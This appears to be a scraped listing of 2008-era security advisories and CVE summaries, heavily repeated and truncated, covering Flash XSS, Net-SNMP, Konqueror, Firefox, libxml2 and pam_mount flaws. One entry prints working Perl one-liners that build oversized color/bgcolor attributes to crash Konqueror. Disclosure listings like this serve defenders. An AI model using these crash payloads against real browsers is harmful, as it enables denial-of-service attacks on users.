kernel security and bug fix update

2.6.9-78.0.8.0.1.EL - fix entropy flag in bnx2 driver to generate entropy pool John Sobecki orabug 5931647 - fix skb alignment that was causing sendto to fail with EFAULT Olaf Kirch orabug 6845794 - fix enomem due to larger mtu size page alloc Zach Brown orabug 5486128 - fix percpu api bugon with...

Flash Player HTML injection flaw

Cross-site scripting XSS vulnerability in Adobe Flash Player 9.0.124.0 and earlier allows remote attackers to inject arbitrary web script or HTML via vectors related to loose interpretation of an ActionScript attribute...

Net-SNMP 5.1.45.2.45.4.1 Perl Module - Buffer Overflow (PoC)

Net-SNMP 5.1.45.2.45.4.1 Perl Module - Buffer Overflow PoC !usr/bin/perl -w Buffer overflow in the snprintvalue function in snmpget in Net-SNMP 5.1.4, 5.2.4, and 5.4.1, as used in SNMP.xs for Perl, allows remote attackers to cause a denial of service crash and possibly execute arbitrary code via ...

CVE-2008-4823

Cross-site scripting XSS vulnerability in Adobe Flash Player 9.0.124.0 and earlier allows remote attackers to inject arbitrary web script or HTML via vectors related to loose interpretation of an ActionScript attribute...

Cross site scripting

Cross-site scripting XSS vulnerability in Adobe Flash Player 9.0.124.0 and earlier allows remote attackers to inject arbitrary web script or HTML via vectors related to loose interpretation of an ActionScript attribute...

CVE-2008-4823

Cross-site scripting XSS vulnerability in Adobe Flash Player 9.0.124.0 and earlier allows remote attackers to inject arbitrary web script or HTML via vectors related to loose interpretation of an ActionScript attribute...

Flash Player HTML injection flaw

Cross-site scripting XSS vulnerability in Adobe Flash Player 9.0.124.0 and earlier allows remote attackers to inject arbitrary web script or HTML via vectors related to loose interpretation of an ActionScript attribute...

NTFS's HARDLINK attack-vulnerability warning-the black bar safety net

Author: MJ0011 Explosion of the old technology. explosion old art NTFS supports a HARDLINK technique, the two files“hard-wired”together, in fact, very simple principle, the two files share the same fie record, the operation of a file quite with the operation of another file, including the relevan...

konqueror-crash.txt

KDE's Konqueror & Color Attribute Love perl -e 'print "\n" . "\n"' kdie.html perl -e 'print "\n" . "\n"' kdie2.html perl -e 'print "\n" . "\n"' kdie3.html KDE's Konqueror & Color Attribute Love perl -e 'print "\n" . "\n"' kdie.html perl -e 'print "\n" . "\n"' kdie2.html perl -e 'print "\n" . "\n"...

Konqueror 3.5.9 - colorbgcolor Multiple Remote Crash Vulnerabilities

Konqueror 3.5.9 - colorbgcolor Multiple Remote Crash Vulnerabilities KDE's Konqueror & Color Attribute Love perl -e 'print "\n" . "\n"' kdie.html perl -e 'print "\n" . "\n"' kdie2.html perl -e 'print "\n" . "\n"' kdie3.html perl -e 'print "\n" . "\n"' kdie4.html perl -e 'print "\n" . "\n"'...

Konqueror 3.5.9 (color/bgcolor) Multiple Remote Crash Vulnerabilities

No description provided by source. KDE's Konqueror & Color Attribute Love perl -e 'print "html\n" . "font color=" . "A" x 500000 . "\n/html"' kdie.html perl -e 'print "html\n" . "hr color=" . "A" x 500000 . "\n/html"' kdie2.html perl -e 'print "html\n" . "table bgcolor=" . "A" x 500000 . "\n/html...

Konqueror 3.5.9 - 'color'/'bgcolor' Multiple Remote Crash Vulnerabilities

KDE's Konqueror & Color Attribute Love perl -e 'print "\n" . "\n"' kdie.html perl -e 'print "\n" . "\n"' kdie2.html perl -e 'print "\n" . "\n"' kdie3.html perl -e 'print "\n" . "\n"' kdie4.html perl -e 'print "\n" . "\n"' kdie5.html perl -e 'print "\n" . "\n"' kdie6.html perl -e 'print "\n" . "\n...

Integer overflow

Integer overflow in the MathML component in Mozilla Firefox before 2.0.0.17 and 3.x before 3.0.2, Thunderbird before 2.0.0.17, and SeaMonkey before 1.1.12 allows remote attackers to cause a denial of service memory corruption and application crash or possibly execute arbitrary code via an mtd...

BOM characters, low surrogates stripped from JavaScript before execution — Mozilla

Microsoft developer Dave Reed reported that certain BOM characters are stripped from JavaScript code before it is executed. This can lead to code, which would otherwise be treated as part of a quoted string, to be executed. The issue could potentially be used by an attacker to bypass or evade...

Fedora 9 : libHX-1.23-1.fc9 / pam_mount-0.47-1.fc9 (2008-7976)

A security flaw in the pammount's handling of user defined volumes using the 'luserconf' option has been fixed in this update. The vulnerability allowed users to arbitrarily mount filesystems at arbitrary locations. More details about this vulnerability can be found in the announcement message se...

CVE-2008-3281

libxml2 2.6.32 and earlier does not properly detect recursion during entity expansion in an attribute value, which allows context-dependent attackers to cause a denial of service memory and CPU consumption via a crafted XML document...

DEBIAN-CVE-2008-3281

libxml2 2.6.32 and earlier does not properly detect recursion during entity expansion in an attribute value, which allows context-dependent attackers to cause a denial of service memory and CPU consumption via a crafted XML document...

CVE-2008-3281

libxml2 2.6.32 and earlier does not properly detect recursion during entity expansion in an attribute value, which allows context-dependent attackers to cause a denial of service memory and CPU consumption via a crafted XML document...

CVE-2008-3281

libxml2 2.6.32 and earlier does not properly detect recursion during entity expansion in an attribute value, which allows context-dependent attackers to cause a denial of service memory and CPU consumption via a crafted XML document...

libxml2 denial of service

libxml2 2.6.32 and earlier does not properly detect recursion during entity expansion in an attribute value, which allows context-dependent attackers to cause a denial of service memory and CPU consumption via a crafted XML document...